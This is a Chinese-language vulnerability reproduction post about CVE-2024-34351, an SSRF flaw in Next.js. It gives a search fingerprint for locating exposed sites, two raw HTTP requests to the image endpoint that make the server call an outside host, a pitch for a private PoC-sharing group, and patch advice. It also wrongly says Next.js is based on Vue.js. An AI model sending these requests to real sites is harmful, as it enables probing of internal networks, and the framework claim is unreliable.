【漏洞复现】Next.js框架存在SSRF漏洞(CVE-2024-34351)

0x01 产品简介

ZEIT Next.js是ZEIT公司的一款基于Vue.js、Node.js、Webpack和Babel.js的开源Web应用框架。

0x02 漏洞概述

ZEIT Next.js 13.4版本至14.1.1之前版本存在代码问题漏洞,该漏洞源于存在服务器端请求伪造 (SSRF) 漏洞

0x03 搜索引擎

body="/_next/static"

在这里插入图片描述

0x04 漏洞复现

GET /_next/image?w=16&q=10&url=http://dnslog.cn HTTP/1.1
Host: 
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

在这里插入图片描述
在这里插入图片描述

GET /_next/image?w=16&q=10&url=https://dnslog.cn HTTP/1.1
Host: 
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

在这里插入图片描述
在这里插入图片描述

0x05 工具批量

nuclei

在这里插入图片描述

afrog

在这里插入图片描述

xray

在这里插入图片描述

POC脚本获取

请使用VX扫一扫加入内部POC脚本分享圈子
在这里插入图片描述

0x06 修复建议

1、关闭互联网暴露面或接口设置访问权限
2、目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://www.npmjs.com/package/next/v/14.1.1-canary.40

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-20 22:48:02       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-20 22:48:02       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-20 22:48:02       45 阅读
  4. Python语言-面向对象

    2024-07-20 22:48:02       55 阅读

热门阅读

  1. 力扣第二十二题——括号生成

    2024-07-20 22:48:02       18 阅读
  2. WebKit简介及工作流程

    2024-07-20 22:48:02       15 阅读
  3. 编程中的智慧之设计模式一

    2024-07-20 22:48:02       17 阅读
  4. NVM配置

    NVM配置

    2024-07-20 22:48:02      16 阅读
  5. 获取磁盘剩余容量-----c++

    2024-07-20 22:48:02       15 阅读
  6. springboot3.2 RedisCacheManager配置

    2024-07-20 22:48:02       17 阅读
  7. springSecurity学习之springSecurity简介

    2024-07-20 22:48:02       20 阅读